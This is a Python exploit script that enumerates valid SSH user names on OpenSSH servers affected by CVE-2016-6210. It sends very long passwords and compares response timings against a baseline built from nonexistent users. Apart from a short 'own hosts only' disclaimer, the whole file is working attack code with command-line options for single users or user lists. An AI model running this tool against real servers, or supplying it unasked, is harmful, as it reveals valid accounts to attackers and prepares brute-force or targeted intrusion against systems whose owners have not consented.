#!/usr/bin/python
#
# CVEs: CVE-2016-6210 (Credits for this go to Eddie Harari)
#
# Author: 0_o -- null_null
# nu11.nu11 [at] yahoo.com
# Oh, and it is n-u-one-one.n-u-one-one, no l's...
# Wonder how the guys at packet storm could get this wrong :(
#
# Date: 2016-07-19
#
# Purpose: User name enumeration against SSH daemons affected by CVE-2016-6210.
#
# Prerequisites: Network access to the SSH daemon.
#
# DISCLAIMER: Use against your own hosts only! Attacking stuff you are not
# permitted to may put you in big trouble!
#
# And now - the fun part :-)
#
import paramiko
import time
import numpy
import argparse
import sys
args = None
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def get_args():
parser = argparse.ArgumentParser()
group = parser.add_mutually_exclusive_group()
parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
group.add_argument("-u", "--user", type = str, help = "Give a single user name")
group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
args = parser.parse_args()
return args
def get_banner(host, port):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
except:
banner = ssh.get_transport().remote_version
ssh.close()
return banner
def connect(host, port, user):
global args
starttime = 0.0
endtime = 0.0
p = 'B' * int(args.bytes)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
starttime=time.clock()
try:
ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
except:
endtime=time.clock()
finally:
ssh.close()
return endtime - starttime
def main():
global args
args = get_args()
if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
if args.host:
host = args.host.split(":")[0]
try:
port = int(args.host.split(":")[1])
except IndexError:
port = 22
users = []
if args.user:
users.append(args.user)
elif args.userlist:
with open(args.userlist, "r") as f:
users = f.readlines()
else:
if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
sys.exit()
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
# get baseline timing for non-existing users...
baseline_samples = []
baseline_mean = 0.0
baseline_deviation = 0.0
if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
for i in range(1, int(args.samples) + 1):
if not args.silent: sys.stdout.write('.')
if not args.silent: sys.stdout.flush()
sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
baseline_samples.append(sample)
if not args.silent: sys.stdout.write('\n')
# remove the biggest and smallest value
baseline_samples.sort()
baseline_samples.pop()
baseline_samples.reverse()
baseline_samples.pop()
# do math
baseline_mean = numpy.mean(numpy.array(baseline_samples))
baseline_deviation = numpy.std(numpy.array(baseline_samples))
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
upper = baseline_mean + float(args.factor) * baseline_deviation
if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
#
# Get timing for the given user name...
#
for u in users:
user = u.strip()
enum_samples = []
enum_mean = 0.0
for t in range(0, int(args.trials)):
timeval = connect(host, port, user)
enum_samples.append(timeval)
enum_mean = numpy.mean(numpy.array(enum_samples))
if (enum_mean < upper):
if not (args.enumerated or args.silent) :
print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
else:
if not args.silent:
print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
else:
print(user)
if __name__ == "__main__":
main()
